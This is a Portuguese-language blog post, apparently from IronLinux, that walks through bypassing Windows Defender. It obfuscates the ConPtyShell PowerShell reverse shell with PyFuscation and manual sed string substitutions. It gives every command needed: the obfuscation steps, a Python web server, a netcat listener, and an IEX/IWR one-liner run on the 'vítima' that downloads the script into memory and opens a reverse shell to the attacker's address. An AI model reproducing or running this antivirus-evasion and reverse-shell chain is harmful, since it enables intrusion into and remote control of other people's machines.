Bypass do Defender utilizando substituição de strings

Bypass do Defender utilizando substituição de strings

Substituição de strings é uma das técnicas utilizadas para realizar bypass de antivírus. Neste post será demonstrado como utilizar esta técnica com o apoio do projeto PyFuscation

O que é a técnica de substituição de strings?

Substituição de strings é uma técnica que modifica um script, renomeando funções, parâmetros, outputs e variáveis, etc. Para exemplificar, imagine que um script tenha a função maliciosa(). Um exemplo da técnica seria renomear a função para** legítima().**

O PyFuscation realiza esta operação de forma automatizada, alterando o nome de funções, parâmetros e variáveis além de remover os comentários de scripts Powershell. Porém, ações manuais são necessárias para obter um resultado ainda melhor.

Mão na massa!

Antes de tudo, faça o clone dos repositórios dos projetos Pyfuscation e ConPtyShell:

git clone https://github.com/antonioCoco/ConPtyShell; git clone https://github.com/CBHue/PyFuscation

1 | Ofusque o Invoke-ConPtyShell.ps1 com PyFuscation

Utilize o PyFuscation.py com os parâmetros -f (ofuscar funções), -v (ofuscar variáveis) e -p (ofuscar parâmetros) para ofuscar o Invoke-ConPtyShell.ps1:

python3 PyFuscation/PyFuscation.py -f -v -p --ps ConPtyShell/Invoke-ConPtyShell.ps1
Executando PyFuscation no ConptyShell

2 | Realizando outras ofuscações manuais

O PyFuscation é um excelente projeto. No entanto, para que o ConPtyShell funcione adequadamente e de fato realize o bypass do Defender, são necessárias outras ações.

Para começar, vamos alterar o nome do script powershell para ofuscado.ps1 (verifique o nome do seu output corretamente):

cd ConPtyShell/04172022_01_40_27; mv 04172022_01_40_27.ps1 ofuscado.ps1

2.1 | Substituir strings do ConPtyShell com Sed

Para evitar que o Defender identifique o ConPtyShell (que é uma ferramenta de reverse shell muito conhecida pelos antivírus), vamos trocar as strings “ConptyShell” por “IronPty” utilizando sed:

sed -i 's/ConPtyShell/IronPty/g' ofuscado.ps1

2.2 | Corrigindo alguns problemas de sintaxe

O ConPtyShell faz algumas checagens dos parâmetros RemotePort e RemoteIp, fazendo com que o script deixe de funcionar após utilizar o PyFuscation.

Para corrigir o problema, basta coletar o nome do parâmetro ofuscado de cada um deles (RemotePort e RemoteIp) e alterá-lo em seu script ofuscado, conforme abaixo:

for x in $(egrep -sr 'RemotePort' 04172022_01_40_27.parameters | awk -F'-' '{print $NF}');do sed -i "s/RemotePort/$x/g" ofuscado.ps1;done
for x in $(egrep -sr 'RemoteIp' 04172022_01_40_27.parameters | awk -F'-' '{print $NF}');do sed -i "s/RemoteIp/$x/g" ofuscado.ps1;done

3 | Testando o ConPtyShell ofuscado

Agora que nosso Powershell Script está ofuscado, vamos utilizá-lo numa máquina Windows 10 com Defender habilitado e atualizado (Abril/2022).

3.1 | Abrindo listener no Kali

Vamos preparar nosso webserver para receber a request http do IWR (Invoke Web Request) que a vítima realizará:

python3 -m http.server 80

Agora, vamos iniciar o netcat listener na porta 3001 para receber o shell interativo:

stty raw -echo; (stty size; cat) | nc -lvnp 3001

3.2 | Executando o comando malicioso na vítima

O comando powershell abaixo deverá ser executado na vítima, carregando o arquivo powershell em memória e executando a função Invoke-ConPtyShell (que neste caso foi alterada para toughness pelo PyFuscation):

IEX(IWR http://192.168.0.142/ofuscado.ps1 -UseBasicParsing);toughness 192.168.0.142 3001

3.3 | Resultado

Nossa shell reversa foi obtida com sucesso:

Bypass defender com substituição de strings

Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !

Posts relacionados

Introdução ao Bloodhound

Introdução ao Bloodhound

O BloodHound é uma ferramenta para análise de relações do Active Directory (AD) que utiliza teoria dos grafos.

Ler post completo
Burp Suite e Certificado no browser

Burp Suite e Certificado no browser

O Burp Suite é uma ferramenta desenvolvida na linguagem Java pela organização PortSwigger com a finalidade de realizar testes de segurança em aplicações.

Ler post completo